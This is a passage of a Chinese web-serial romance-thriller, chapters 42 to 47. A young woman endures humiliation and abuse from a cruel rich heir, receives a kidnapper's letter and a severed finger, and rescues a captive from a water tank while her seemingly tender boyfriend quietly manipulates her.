徐照精神不错,正在和别人开黑打游戏,秋榕榕进门的时候他正好打输一把,直接把小护士手中的茶杯打翻,砸在地上。
玻璃碎一地。
小护士被吓了一跳,红着眼睛不敢说话。
心里骂徐照千百遍。
要不是这里工资高,交最高档的六险二金,她早就辞职跑路。
张律师早已见怪不怪,“徐少,秋榕榕来了。”
徐照抬了一下眼皮。
叶向婉直接跑过去跪在地上,用手捡地上的玻璃碎片。
她的手指头被刺破流出鲜血。
秋榕榕看得直皱眉。
徐照抬起手,指着叶向婉,“你滚开,这两天我不想看见你。”
叶向婉期期艾艾地看着他,不想离开。
“滚!”徐照精准地把烟灰缸砸向叶向婉的额头上,“你就是老子养的一条狗,狗最重要的是听话,别让老子说第二次。”
叶向婉像是根本感觉不到额头上的疼痛。
唯一令她伤心的,是徐照不许她在身边陪着。
秋榕榕看见这一幕,生理性不适。
她想阻拦,但没开口。
他们一个施虐癖,一个受虐癖。
算起来倒是天生一对。
她开口,就是多管闲事。
徐照让其他人离开。
等到所有人走后,他继续开了一把新的游戏,让秋榕榕在那里站着。
病房里只剩下游戏厮杀的声音。
那游戏秋榕榕玩过,一开局就是两个小时。
徐照没招呼她坐。
她自己从旁边搬个板凳坐下来等。
三年前死里逃生,秋榕榕就想着对自己好一点。
别人为难她。
她尽量不为难自己。
徐照抬了抬眉,“你倒是不客气。”
“站久了腿疼,我比较虚。”秋榕榕还需要一杯温开水。
她干脆自己倒。
倒完水的时候,秋榕榕把水杯放在唇边,正准备喝,就看见徐照朝她伸出一只手。
“干什么?”秋榕榕喝口温水润润嗓子。
徐照以为秋榕榕有眼力见,看见护士的水被打翻了,又重新倒了一杯给他喝。
抬手,喝她倒的水,说明给她面子。
结果秋榕榕是倒给自己喝的。
徐照的脸一下子黑了起来。
阴沉沉的。
好像秋榕榕欠了他的钱不还。
秋榕榕垂眸看着水杯,走到旁边去又拿了一个空杯子,从自己杯子里和剩下的部分中倒了一点进去,重新递给他。
“啪!”
徐照把他手里的杯子打掉。
很好,现在又碎了一个杯子。
他就是找茬。
“把玻璃碎片都清理干净。”徐照手里的游戏也不打了,他把手机扔到一边,侧头冷漠地看着秋榕榕。
秋榕榕准备去拿扫把。
徐照补充了一句,“用手捡。”
秋榕榕看着地上的玻璃碎渣,眼神晦暗,“你放过周叔叔的公司,我就按你说的做。”
“看你表现。”
“你得给我一个准话。”
“你有和我谈判的资格吗?”
秋榕榕沉默。
她想起高位截瘫的周叔叔现在连大小便都不能自理,家里就剩周景行撑着公司。
若真的彻底破产,周叔叔后续的医疗费,周淮远的康复治疗都会成问题。
她声音低了一些,“希望你说话算数。”
说完,她蹲下来,准备用手指捡底下的玻璃碎渣。
需要非常小心,才不至于被划伤手。
就在她的手即将碰到玻璃碎片的时候,徐照忽然开口问:“那天你为什么没下手?”
第43章 巴掌
若是实话实说,就是秋榕榕没杀过人手软,也害怕被查出来去坐牢。
可徐照这么问,秋榕榕就没准备说实话。
她好声好气地哄骗他,“因为我觉得你没那么坏,不想伤害你。”
说完,还冲着他温柔一笑。
她眉目浅淡,如水墨轻描,五官温和婉约,不带锋芒。
冲人浅笑时,像晨曦透过薄雾。
徐照眼中闪过一丝惊艳,他其实喜欢浓艳系美女,秋榕榕对他而言过于寡淡,但她的笑容,确实让他有一刹那恍惚。
“你别以为你说两句好话,我就会放过去。”徐照冷哼一声,像是心情不错,“别偷懒,把玻璃捡完。”
秋榕榕敛下笑意,暗骂徐照脑子有包。
正常人,就算有仇怨,经历过这一次阴差阳错的救命之恩,也该偃旗息鼓,化干戈为玉帛。
但徐照不是。
他恶劣异常,把暴力当情趣。
实在可恶。
徐照盯着秋榕榕干活。
“你一看就是苦命相,像这种活你应该很熟悉才对。”
秋榕榕小的时候也是在爸爸妈妈的宠爱里长大的。
她才不是苦命相。
秋榕榕用手小心翼翼地捏起一片大块的玻璃碴,扔进旁边的垃圾篓里。
动作只要足够的慢,就可以不受伤。
徐照觉得自己只是在逗她玩儿。
他小的时候踢猫打狗,也是这般恶劣。
秋榕榕对他的厌恶是实打实的。
她喜欢温柔的,能体谅人的,足够尊重她的男人。
讨厌暴力狂,讨厌自以为是,更讨厌眼高于顶的男人!
“那十万我可以不用你还,前提是你和谭松断了。”徐照看秋榕榕在那里慢吞吞地捡玻璃,很满意。
打一巴掌又给一个甜枣吃,是他惯用的手段。
秋榕榕听到谭松的名字,想起他那天的惨状,迟疑了一会儿。
这种迟疑在徐照眼里,就是秋榕榕和谭松关系不一般。
他又变得暴躁起来,恶劣地笑着,言语极尽刻薄,“担心你那个姘头啊?睡出感情来了?我让你换他亲妈他都不换,看开他真的很喜欢你。”
谭松没带来秋榕榕。
徐照真的把谭妈妈送进监狱。
他查到的证据是实打实的。
并非谭松所说的伪造证据。
谭松的妈妈给那个吸毒的驾驶员账户上打了一笔钱,他出车祸的事儿和谭妈妈脱不了干系!
秋榕榕摇摇头,“他没放弃自己的妈妈,只是他被绑架了,现在生死未卜。”
徐照有些意外,语气不屑,“谁绑他啊,就一个小混混,卖去黑煤窑里也换不了几个钱。”
秋榕榕抬起眼皮,试探着问:“你知道他在哪里吗?”
徐照的神情一瞬间凶狠起来,“怎么?怀疑老子把他弄死了?”
秋榕榕看他的反应,觉得是自己多心了。
于是,她赶紧改口,“不是,是想找你帮忙。”
这话当然只是说说而已。
谁都知道徐照讨厌谭松。
却没想到,徐照冷哼一声,“也不是不行,打狗还得看主人,我养的狗只能我来打!”
趁着徐照在那里坏笑的时候,秋榕榕偷偷用脚把地上那些比较细碎一点的玻璃碴踢进床肚里。
徐照没看见秋榕榕的小动作,想好怎么整谭松后,又见不得秋榕榕在这里站着,骂骂咧咧,“你怎么这么会偷懒?捡个玻璃那么慢!”
“哦。”秋榕榕蹲下来慢慢捡。
他催她,她光顾着说好,速度就是快不起来。
她又不傻,速度快是要划破手指头的。
捡完玻璃后,徐照看到秋榕榕手上还没流血,勾勾手指,让她过去。
秋榕榕慢吞吞往前挪,“有什么事你吩咐,我站在这就能听见。”
“我让你过来!”
徐照一把把秋榕榕捞到身边,伸手毫不客气地把她的袖子往上掀。
“你干什么?”秋榕榕拽紧自己的衣服。
徐照翻了个白眼,“丑八怪,老子身边美女一大堆,哪个都比你肉多,看不上你这款,老子就想看看你身上的疤长得有多猎奇。”
“不行。”
“松手。”
秋榕榕咬着牙,手指死死地抓着就不松。
徐照原本只是一时兴起,见秋榕榕反抗,立刻寒着脸,把保镖叫了进来。
“把她摁住,衣服扒了。”
那些保镖训练有素,唯命是从,徐照一声令下,他们就把秋榕榕的肩膀压住,把她的上衣拽下来。
“我不要!我不要!有什么好看的!自己不会上网搜,去找图片看呀!”
秋榕榕双拳难敌四手。
她的哀鸣声像是泣血的黄莺。
他们扯下她的遮羞布,让她暴露在众目睽睽中。
秋榕榕蹲下来,蜷缩在一起抱着自己的膝盖。
她身上纵横交错的疤痕,就连那些干惯了坏事的保镖,见到都为之动容。
放在古代,说是凌迟也不为过。
她四肢的伤痕最为严重,其次是背部,在她的后背上,最深的一道疤痕有筷子那么长,凸起来像蜈蚣。
他们的目光让她感到难堪。
和那个绑架犯不一样。
绑架犯本来就神经不正常,而且还只是一个人。
现在这里有好多人。
他们的目光有怜悯,有惊叹,还有人根据她的疤痕揣测她的过去……
秋榕榕想变成鸵鸟,把头埋进沙子里。
“我都说了我身上有疤,你为什么还要看?我第一次就给你看过,你都说我恶心了,你为什么还要……为什么还要脱我衣服?”
秋榕榕脸色难看地从地上捡衣服,哆嗦着手指,把衣服的扣子扣好。
保镖们这次没有阻拦。
徐照说得没错,他不会对她感兴趣。
她的身体很猎奇。
徐照居高临下看她,说:“其实也就一般般,看着就那样吧。”
秋榕榕一愣。
徐照拿出十万和解协议,用打火机点燃,“给你的奖励。”
秋榕榕半信半疑地看着他。
下一秒,他把燃烧起来的纸丢到秋榕榕的头发上,“烧一烧,看看你那些丑疤能不能烧掉,哈哈。”
“你……你……”秋榕榕从不用恶意去揣测他人。
但徐照的恶,总是能超过她的想象。
“火……火……帮我!徐照,会死人的……真的会被烧死……”秋榕榕头发着火,赶紧用手去扑火,就把旁边的水往自己的头发上倒。
她朝着旁边人求救。
大家都冷眼看着她。
徐照在旁边笑得很开心。
他看着秋榕榕手忙脚乱地冲进厕所里,拧开水龙头,把自己冲成落汤鸡,勾起唇角。
秋榕榕从厕所里狼狈地走出来。
徐照看着她,毫无悔意,“别用这种眼神看我,谁让你的头发和枯草一样,一点就燃啊。”
秋榕榕不想干了。
“徐照……”她愤恨地喊他的名字。
徐照挑了挑眉。
“怪不得你爹妈都不爱你,因为你生来就是一个坏胚!”
第44章 甜枣
徐照的脸色蓦然阴沉下去,黑瞳阴鸷,“你是在找死。”
她戳中了他最在意的地方。
秋榕榕听见他手指的骨节捏得嘎吱作响。
她能说出这种话,也是被徐照逼急了。
兔子急了还咬人。
再和这个疯子待下去,保不齐会有生命危险。
反正那十万的欠条已经被烧掉。
秋榕榕见好就收。
她也算是为了周叔叔努力过。
总不能真的拿命拼。
秋榕榕在心里祝福周叔叔早日遇见医学奇迹,从轮椅上站起来,然后带领公司,重整河山。
他现在四五十岁,也正是拼搏的好年纪。
秋榕榕选择自己先撤退,给周叔叔加油。
他面色森寒,“我再给你一次机会,把刚才那句话收回去。”
秋榕榕迎着他杀人的目光道:“徐照,我说什么,做什么,你都不满意。
我顺着你不行,逆着你也不行,我不知道自己究竟如何做,你才会放过周叔叔的公司。
你不需要我来照顾你,你想羞辱我,贬低我,伤害我,可我们没什么仇怨啊,你为什么把你的恶宣泄在我身上?
我已经尽力了,你如果要求我拿命讨好你,我真的做不到,今天算我没来过,你换个保姆。”
说完,秋榕榕转身想走。
保镖拦在门口不让她出去。
徐照给秋榕榕的振振有词气笑了,她看着软弱可欺,实际上很狡猾,她想以最小的牺牲换取最大的利益,一旦发现和自己想的不一样,就想退回安全地。
“不就是烧个头发,至于吗?我还从来没见你发过这么大火。”
秋榕榕正色道:“很危险,我会烧伤。”
“小赵,把发型师喊过来。”
这句话,徐照是对站在走廊外的生活助理说的。
保镖还在门口杵着,他们人高马大的,站成一堵人墙。
徐照挥挥手,让他们全部退下。
秋榕榕站在原地,觉得有点冷。
“披着吧,别等会冻死了也算在我头上。”徐照看见秋榕榕的手在颤抖,嘴唇乌青,随手把旁边放着的外套扔到秋榕榕身上。
秋榕榕虽不知道徐照又要唱哪出戏,但她不会和自己过不去。
她把外套披上,找个板凳坐着不说话。
徐照有些满意地勾起唇角。
他的外套轻薄,秋榕榕裹在身上却格外保暖。
她回想起自己冬天穿的折扣棉服,臃肿蓬松却不够暖和,里面还要左一层右一层穿毛衣,才能抵御冬天的严寒。
他们不是一个世界的人。
徐照盯着秋榕榕,眼眸阴翳。
少女看起来软绵绵的,瘦得一阵风就能吹跑,没什么攻击力,原本快留到腰的头发,被烧焦一截看着有些可怜。
他确实喜欢欺负人,但一般挑选的都是男生。
男的耐打,反抗也更激烈些。
他在高中的时候,就曾把同班同学逼到自杀。
女生的话,除了一个林向婉他作为床伴留在身边,就剩下一个和谭松关系好的秋榕榕。
秋榕榕身上的疤,留在他的心头,挥之不去。
他联想着新闻报道里的内容。
被虐待一年,侥幸逃生。
他很难把新闻里的人和面前的女生画等号。
毕竟,她看起来很容易被逼死。
两人无话。
发型师小姐姐很快赶过来。
她是已经下班的牛马,被老板一个紧急电话,就得跑来加班。
在发型师小姐姐的巧手下,秋榕榕的头发被剪到肩膀的位置。
什么也不说,什么也不问,剪好头发之后,和徐照打了声招呼,便踩着高跟鞋离开病房。
“这样也挺好看。”徐照难得说了句人话。
他觉得现在的秋榕榕很像高中时期的林向婉,那个时候林向婉还没现在这么听话,她经常缩成一团,不敢和他说话。
而现在,林向婉乖乖的。
没之前那么有意思了。
徐照不介意再创造一个林向婉。
刚才的发型师忙活了很久,帮秋榕榕理层次,剪了一个锁骨发,发梢尾部微微内扣,衬得她更加温婉。
烧焦的部分已经完全剪掉。
徐照对于效果很满意,他笑起来的时候显得没那么凶狠,只不过坏事做多,眼神里多是世俗的杂质,不够透亮。
秋榕榕还因为下午的火心有余悸。
她没心情和徐照说话。
“我什么时候能走?”
“你和谭松谈没谈?”
他们几乎同时开口。
徐照听到秋榕榕想走,皱着眉,“你不管周家的公司了。”
“我能力有限。”秋榕榕不是不管,是觉得徐照害人的本事超过她的底线,她怕公司还没彻底破产,人先被折腾死。
而在徐照看来,秋榕榕就是大惊小怪。
下午捡玻璃,她手没破皮。
他就是好奇她身上有多少疤,看一看而已,又不会掉一块肉。
至于头发,再长不就行了。
他还给她请了昂贵的发型师,新做出来的发型比她原本的时尚多了。
又没真的伤到,何必这么矫情?
“你今天晚上别回去,照顾我一个月,蓝湾油田业务的违约金,我放宽你那周叔叔的赔偿期限,怎么样?”
徐照不懂温柔,他已经尽量好声好气地和秋榕榕说话。
天渐渐黑下来,星光点点,月亮藏在云层之后,城市的灯光亮起来,光影交织,秋榕榕看不见自己家的那一盏。
良久,她说:“我怕死。”
“我又不会真弄死你。”徐照靠在病床上,语气平淡。
他身上之前被车辆钢筋戳的伤口已经痊愈,只是他作为家族的唯一继承人,不能有闪失,所以还得在医院里观察一个月。
说白了,就是浪费医疗资源。
只不过,这资源是他家的,他想怎么用就怎么用。
秋榕榕眼珠子动了动,现在的徐照还算好说话,她尝试着讨价还价,“我平时得上学。”
“晚上过来。”徐照霸道,不容她拒绝。
她说:“我男朋友在家,不能彻夜不归。”
“你怎么这么多事儿?”徐照为数不多的耐心快被消耗殆尽,“你一个人究竟谈了几个?”
她耐心地解释:“我和谭松只是普通朋友。”
徐照嗤笑一声,不太信,“谈两个也正常,反正谭松失踪了,你把他的那份时间用在我身上。”
秋榕榕还是没答应。
“啧,我给你开工资行了吧?你坚持了一个月,我给你两百万,专车接送,伙食费另算,签合同,出了事给你走工伤。”
秋榕榕一边害怕自己有命赚钱没命花,一边又觉得这个条件很诱人。
“能不打人吗?”
徐照反问:“你觉得可能吗?”
“我……”她犹豫着开口。
第45章 输家
“我明天再来看你。”秋榕榕丢下这句话,算是如了徐照的愿,同时也是为了今天安然离开。
“吃完饭再走。”徐照让家里的厨师做了饭菜送到医院。
他偏爱咸辣口,那些菜秋榕榕吃不了多少。
她的口味和周景行更像,偏好清淡。
徐照没理由去照顾她的口味。
“尝尝这个,外焦里嫩。”他给秋榕榕夹菜,让她必须吃下去。
好在他没有故意夹辣椒。
只是挑了辣子鸡的鸡丁。
不用公筷,不卫生。
秋榕榕心里嫌弃,但是嘴上没敢说出来。
她敢肯定,这种时候不顺着他,他能让她把那一盘辣椒吃下去。
“喂,明天来早点。”徐照眼神低垂,睫毛投下淡淡阴影,烟在指尖燃着,灰未弹落。
秋榕榕敷衍地应下。
他又阴狠地补充了一句,“别让我催你,我没那么好脾气。”
“是,知道了,大少爷。”
他应是孤独的。
他想要别人陪他,需要一边威胁,一边拿钱买。
但这和秋榕榕没关系。
她不是林向婉。
她和那些被他威胁的人一样,讨厌他。
秋榕榕回家的时候已经很晚,徐照让赵特助送她回去。
车辆行驶在无人的街道上。
“你怎么会住在星汇别墅区?”赵特助是位容貌艳丽的中年女人,眼角有淡淡的皱纹,浑身名牌,略有些俗气,但人很热心。
“那里怎么了?”
赵特助压低声音,“那边风水不好,闹鬼,价位虚高,又偏僻,有钱人一般不投资那里。”
秋榕榕笑了笑,“这世上没有鬼,再说了,我也没做过亏心事,不怕鬼敲门。”
她觉得星汇别墅区其实还行,至少安保到位,外来车辆进不去。
外来车辆进不去……
外来车辆进不去!
秋榕榕脑海里忽然灵光一闪。
那谭松和那个绑架犯是怎么先后开车进来的?
秋榕榕一惊,想去物业查车辆来访记录,但现在物业已经下班,暂时查不到。
赵特助见秋榕榕脸色一瞬间变得苍白,以为小姑娘胆子小,被吓住了,赶紧安慰道:“我就随便一说,你别放心上,归墟市哪个小区不是在乱葬岗上建起来的?
就说我们老板新开的厂房,十八年前就是个富人区,因为重大火灾烧成一片废墟,死了不少人,现在还不是旧址上开新厂。”
秋榕榕心想,十八年前,正好是她出生那年。
那年夏天格外热。
一场大火,烧死不少人,也上了头条新闻,起火原因被认定为意外事故。
陈年旧事,现在谈及的人已经很少了。
她也是今天第一次听到。
到达目的地后,秋榕榕谢过赵特助,进入小区。
她发现小区的保安换了人,远远的,她还没刷脸进小区,保安就把门开了。
还一脸不怀好意地看着她。
让她心里毛毛的。
星光暗淡,没有路灯。
硕大的小区,秋榕榕一人在路上走。
四周的屋子都空置着。
冷风吹拂,脚踩在落叶上发出嘎吱声。
直到她看见家的方向,院子里的灯亮着,才安下心,快步跑回去。
她生怕在门口又看见奇奇怪怪的信。
周景行在第一时间开门,屋内暖色的光照在她的身上,将她包围。
秋榕榕扑进他怀里蹭了蹭,带着一点撒娇的意味埋怨道:“哥,咱们小区晚上好吓人,路灯竟然都不开。”
他低头看她,唇角轻轻一弯,伸手抚上她的发顶,修长的手指穿过她柔软的青丝,宠溺地说道:“到了也不早点说,让我去接你。”
“好嘛,下次我保证提前说。”
周景行的手从她的头顶缓缓地移到发梢处,指尖摩挲了一会儿,忽然低声问:“你头发怎么回事?”
语气轻,不经意一问,但眼神却比刚才沉了几分。
秋榕榕不知道要不要把徐照的暴行告诉周景行。
他正在操心周叔叔的公司。
如果说了,他可能会因为对她的感情,在公司事情上,做出不理智的行为,得罪徐家。
她轻轻地把头发拨到胸前,用指尖绕了两圈,装作若无其事地问:“做了个新发型,好看吗?”
他看着她半遮着耳廓的碎发,有些冷淡,似乎是不喜她的改变,“你保持原样就好。”
秋榕榕低头不语,她其实也喜欢自己原本的样子。
“对了,哥,我问你个事儿……”秋榕榕轻轻扯了扯他的袖子,“周叔叔公司蓝湾油田业务,为什么要赔偿违约金?那个违约金……很高吗?”
“你从哪里听说的?”周景行放开秋榕榕,转身走到微波炉处,将热好的牛奶端给秋榕榕。
秋榕榕端着温热的牛奶,小口喝着,她不擅长撒谎,如果面对自己喜欢的人,就更不会了。
她细声细语地说道:“我有个同学,是徐家的人,他说他有办法延迟违约金交付的时间,给我们喘息的机会。”
“是徐照吧。”周景行轻巧地点了出来秋榕榕想隐藏的名字。
秋榕榕心头一跳,她抬眸,“哥哥都知道了。”
“头发是他做的吧?”
一语戳穿,什么都瞒不过周景行。
秋榕榕低头,点了点头。
他说:“坦白从宽。”
接着,秋榕榕把徐照今天的威胁、殴打、甚至那两百万的交易如实说了出来。
“我知道他会打人,但是过去也是存了私心,林向婉在他身边那么多年也没死,我只要陪他一个月,他在违约金的事情上就会松口,到时候还会给我两百万,我想拿着这些钱,帮周叔叔的公司渡过难关。”
两百万,秋榕榕毕业出去打工,存十年都不一定能存到这个数。
他喉结微动,看着她,眼里竟一时读不出复杂,“你要把这个钱拿出来给我?”
“对啊。”秋榕榕抓住他的手,手指在他的手心画圈圈,“你们好的时候,帮我交学费,现在你们落难了,我陪你们共患难。”
秋榕榕不懂什么大难临头各自飞的道理。
周景行没有立刻回应。
他用手指轻轻地弹了一下秋榕榕的额头,“笨。”
秋榕榕鼓着脸颊捂住额头,“哇,你也欺负我。”
“你太好欺负了。”他一把将她抱进怀里,掌心落在她后背,顺着脊骨线条一寸寸地抚着。
他身体是温热的,心脏是冰凉的。
秋榕榕环着他的腰,声音又低又缓,“情侣之间就是应该互相扶持,有我在你身边,你别怕,就算周叔叔的公司到最后真的没有了,我们也可以从头再来,我学的是金融,等我毕业后可以帮你。”
她在安慰他。
哪怕她势单力薄,什么也没有,但还是捧着一颗心,巴巴跑上前。
“你啊……”他声音哑了一点,像笑,又像叹,“迟早会被人吃得骨头都不剩。”
她竟然不懂陪男人白手起家的风险。
不懂人心易变。
不懂瞎子睁开眼,第一件事情就是扔掉拐杖。
“我就对你好,你别负我。”秋榕榕待人真诚,不会套路,只会笨拙地拿真心换真心,“爱一个人,就要全力以赴呀,无论结果如何,我尽力了,不后悔。”
虚情假意的人何曾见过如此真心?
秋榕榕确实不是聪明人。
但归墟市像她一样的人,也不多了。
这一瞬,周景行忽然想亲她。
但他忍住了。
因为一旦沦陷,就是输家。
第46章 不眠
晚上,秋榕榕靠在床上,在网上搜索防刺马甲和防刀手套,若不是头盔太显眼,她还会戴个头盔,去应对徐照的刁难。
周景行洗完澡出来,身上只穿着一件灰蓝色浴袍,赤着脚踩在柔软的地毯上,头发吹得半干,发梢湿漉漉地垂落。
“在看什么?”
秋榕榕感觉到床边凹陷下来,她自然而然地往他怀里靠,他伸出手臂揽着她,亲密无间。
秋榕榕把手机页面展示给周景行看,“我在看防卫的衣服,徐照有暴力倾向,我去照顾他,得装备齐全。”
周景行伸手按下她的手机,扔到一边,“你不用去。”
她抬头看着他,“那公司怎么办?”
徐照虽坏,给的好处是实打实的。
周景行鼻梁挺直,眼尾微挑,不笑时显得格外清冷,他抬手揉了揉她的后颈,今天竟然罕见地解释了工作上的事情。
“蓝湾油田是问题油田,他们说储量高,前景好,低价出让,还暗中找媒体造势,我爸一时没忍住,买了这块油田。
结果这块油田处在争议区,属地未划分,且附近有海盗出没,开发成本极高。
现在油没采到,我们公司资金跟不上,徐氏集团又要撤回投资,并且对外公布了这片油田的争议,让其余投资人恐慌。
一阶段的开采任务已经逾期,违约金将近七千多万,广厦将倾,你去求徐照,也改变不了什么。”
蓝湾油田是个百亿项目。
也是徐氏集团联合其他资本专门给周叔叔下的套。
周叔叔是近二十年才发的家。
属于技术型新贵。
拥有先进的页岩油开采技术。
重研发,但资金相对紧张。
徐氏集团就是要断掉他们的资金链,再低价吞并周叔叔的公司。
“一阶段违约金就七千万……“天文数字,秋榕榕立刻意识到问题的严重性。
“我原本以为延长违约期限,等周叔叔公司筹资好,就可以接着续约。
现在看来这是别人预先下好的套,延长期限也解决不了你们的麻烦。”秋榕榕躺回枕头上,看着天花板。
如此算来,两百万杯水车薪。
徐照那边,再去哄着,意义不大,无法根本解决当前的困境。
他们聊着聊着,已至深夜。
秋榕榕关灯睡觉,半夜却忽然被楼下的门铃声吵醒。
她身体一僵,有些紧张地想要摸身边的周景行。
但身边床铺温热,却没有人。
“哥……哥……”她喊了两声,没有回音。
周景行的房间有独立卫浴。
但是洗手间的灯是暗下来的,里面不像有人。
她再看手机上的时间,是凌晨一点半。
这个时候大家都休息了,谁会按门铃呀?
秋榕榕把头蒙进被子里,假装没有听见。
楼下的门铃声就一直响。
吵的时间久了,二楼走廊传来脚步。
像是护工王阿姨从周淮远的房间出来,然后前往一楼去开门。
哒哒哒的脚步声,在空旷的别墅里,格外清晰。
秋榕榕缩在被子里一动不动。
一楼的门铃声终于停了下来。
过了一会儿,她的房门被敲响。
“哐哐哐——”门板晃动,敲门声粗鲁。
秋榕榕的心又提了起来。
幸好周景行睡觉有反锁房门的习惯。
“秋小姐,有你的信。”门外传来王阿姨阴沉的声音。
谁会大半夜来送信?
谁家护工拿了信,还要大半夜送到主人的手里!
秋榕榕肯定不回。
王阿姨在门口站了一会,才提高音量说道:“我从门缝给你塞进来了。”
门那里传来窸窸窣窣的声音。
秋榕榕又等了一会儿,才敢下床去捡那封信。
刚弯下腰,她就听见门口原地踏步的声音。
“我就知道你没睡着,小宝宝装睡被我逮住了吧!嘻嘻!”
“还有一个袋子,我给你挂在门把手上了,记得自己拿。”
护工竟然是趴在房间门口,沿着底下的门缝朝里张望,等到秋榕榕下床拿信,她才爬起来原地踏步,吓唬她。
秋榕榕陡然一惊,拿着信赶紧远离房门,迅速爬到床上去。
撞到了一个温暖的身体。
“哥,你什么时候上来的?”
他的手扶住身体颤抖的秋榕榕,“刚才啊。”
房间里的光线阴暗,窗户外连星光都没有,秋榕榕看不清楚周景行在黑暗中的脸。
“你刚刚去哪里了?”秋榕榕现在是惊弓之鸟。
他声音如常,“洗手间。”
可秋榕榕看见,洗手间分明没有开灯,她也没听见冲水声。
“刚才的护工有毛病,都这个点了还跑上来送信,还故意在门口吓……”护工把她吓得不轻。
“王阿姨有的时候没什么边界感,你别放在心上。”周景行轻描淡写的把这一页揭过,“许是什么加急的信件吧,你要不现在拆来看看?”
秋榕榕正准备伸手开灯,周景行先一步打开了手机手电筒,对着她手中的信件。
信封上确实盖着加急的章。
还会有谁给她写信?
秋榕榕没拆信之前,就有所预感。
她拆开信封,抽出信纸。
里面果然是杂志和报纸剪贴下来的文字。
「小兔兔,快来这里,带你的小伙伴回去。
别多带人哦,要是来晚了,你的小伙伴可就没有了。」
是绑架犯。
那小伙伴指的就是谭松。
绑架犯不仅没杀他,还准备放他回来。
就像上次放秋榕榕一样。
周景行下床,打开门,从门把手上拿进来一个冰袋。
冰袋里,有一节血淋淋的断指。
是刚才切割下来的。
秋榕榕看着那截断指脸色苍白。
“别怕,有我在。”周景行握住她的手。
今夜,注定是个不眠夜。
第47章 水箱
秋榕榕先通知警署。
她因为精神鉴定异常,证言不具有可信性,需要监护人来报警。
周景行当着她的面打电话。
电话过了很久才接通,那头的警员让秋榕榕先赶往约定地点,稳住绑架犯,他们随后就到。
“现在太晚了,我一个人不行。万一是陷阱怎么办?那个绑架犯上次就说过会再回来找我。”
秋榕榕不敢真的一个人前去,周景行看见她拿着信的手在抖。
她很单薄,来到归墟市后受了不少折腾,原本身上就没几两肉,现在看起来更瘦。
秋榕榕曾有意增重,吃高热量的炸鸡和蛋糕,但她精神上饱受折磨,再加上最近遇到的事,让她总是胖不起来。
这一切,周景行都看在眼里。
“你不用勉强自己。”周景行轻声说,“没有谁规定你必须做个好人。”
周景行诱哄她见死不救。
秋榕榕不去,警署的人赶到,估计找到的也是谭松的尸体。
“我……我……”秋榕榕咬紧了下唇,睫毛轻颤,眼神里有一瞬的茫然。
她不是没想过转身离开,但一闭眼,就是谭松那天被拽走前肩膀上的血窟窿。
见到路边有条狗受伤,秋榕榕都会把狗抱去医院。
更何况是人。
她侧头看向他,声音低得几乎听不见,“哥,我有点害怕……你能不能陪我去?”
去还是得去,就是想人陪。
秋榕榕最信任的就是周景行。
他比她年长。
公司和家人出了那么大的事情,他都能靠自己扛得住。
秋榕榕下意识地向他求助。
“当然可以。”周景行微微翘起唇角,拍了拍她的手背,以示安抚。
她恐惧中表现出的信任感,令他满意。
周景行开车送她。
目的地是归墟市西北方向的废弃钢铁厂片区。
那一带早年因污染严重,被整体封存,周围拉起了锈迹斑斑的铁皮围栏。
如今厂区早已人去楼空,只剩断壁残垣。
夜色沉沉,厂区大门上斜挂的牌匾已经褪色,风一吹,吱呀作响。
曾经多辉煌,现在多落魄。
周景行把车停在废弃管理楼前,车灯还亮着,映出前方一片残败的水泥地,地面坑洼,积着黑色的水。
秋榕榕坐在副驾,有些紧张地看向四周。
警署的人还没到。
秋榕榕转头看向周景行,谨慎又谨慎,惜命又惜命,“哥,待会我先一个人进去,每隔五分钟,我就会给你发消息,如果超过五分钟没发,就说明我出事儿了,记得带警署的人进来救我。”
周景行望着前方,没回答。
“你真要去?”
秋榕榕点头,“要。”
她但求一个问心无愧。
周景行大概能够理解她的行为逻辑,无非就是书上教的那一套,仁义礼智信,生物的本能让她怕死,教育又让她勇敢面对。
她有信念感,抛不掉脑海里的那一套好人理论。
而周景行戴着面具,也扮演着和她一样的好人。
她觉得他是同类。
才亲近他。
周景行有自信,无论是徐照、还是谭松,秋榕榕都不会看得上。
他了解秋榕榕,她不会喜欢一个会校园霸凌的暴力狂富二代,也不会喜欢爸爸是杀人犯,妈妈做小三的街头上的小混混。
她喜欢他,喜欢他无攻击性的外表,喜欢他父母双全,他有正式的工作,富裕的家庭,喜欢他装出来的温柔体贴。
而这些东西在他的操作下,会慢慢消失。
周景行不知道,那个时候,秋榕榕是否还会像现在一样?
还是说,他能看见他更期待的那一幕。
看见她信念的崩坏……
她身心被毁的刹那,也是她赎罪的时候。
“哥?”秋榕榕张开手在周景行的面前挥了挥,她喊了他好几声,他都在出神,没理她。
半晌,周景行偏头看了她一眼,神情温和:“我陪你吧?”
秋榕榕摇头笑道:“不太好。”
“我陪你。”他解开安全带,“车里待着反而显眼。”
秋榕榕迟疑了一下,“信上说让我一个人进去,万一那个绑架犯还在附近,看我带了人,选择撕票怎么办?”
周景行揉了揉秋榕榕的头发,“没事,不会被发现。”
他说没事,就一定没事。
秋榕榕张了张嘴,没说话。
周景行的瞳孔比夜色更深沉,他牵着她的手走进废弃厂房。
他的手背在后面,一条短信发了出去。
秋榕榕预想中的场景没有发生。
她很快就找到被泡在水箱里的谭松。
绑架犯不在这里。
他和上次一样逃之夭夭。
谭松双手双脚被捆绑,在水里蛄蛹着快要窒息。
他右手的小拇指被切掉,鲜血还没凝固,泡在水里一直往外流血。
秋榕榕赶紧跳下水箱,努力把他捞起来。
她会游泳。
谭松在水箱里挣扎着,他以为自己死定了,直到秋榕榕伸出手抓住坠落的他。
她不计前嫌,来到这里。
空气重新进入肺里,他手臂搭在她的肩膀上,捡回一条小命。
“秋榕榕,你……”谭松嘴唇发青,说话断断续续,“你怎么会来?我这么对你,你竟然还愿意来……”
绑架犯把他吊在水箱之上,水箱里的水会逐渐变多,绑架犯玩了一个死亡游戏。
他在谭松通讯录里选他最新聊天的三个人发求救信,只要有一个人能在深夜及时赶到,谭松就能获救。
而手指,送给聊天记录第一位。
谭松压根就没想着保手指,他以为自己这次必死无疑。
并且将这一切归之为报应。
没想到秋榕榕在他被淹死之前赶到了。
秋榕榕把谭松从水里拽出来,周景行扔过来一把匕首,“接住。”
她在空中接过,把困住谭松手脚的粗绳子割开。
“你上次那么对我,还欠我一句对不起。”
“我……”谭松知道,他欠秋榕榕的可不仅仅是一句对不起。
亏欠太多,反而不知道如何还。
就这样,成为一笔烂账。
他道歉的话没有说出口,猛烈咳嗽几声后,眼神闪躲地问道:“我妈那边怎么样了?”
秋榕榕怜悯地看着他,“在牢里。”
谭松紧握拳头,狠狠地砸在水泥地上,手上一片鲜红,“当年拼了命也要把她娶回家,现在那个男人竟然不护着她!”
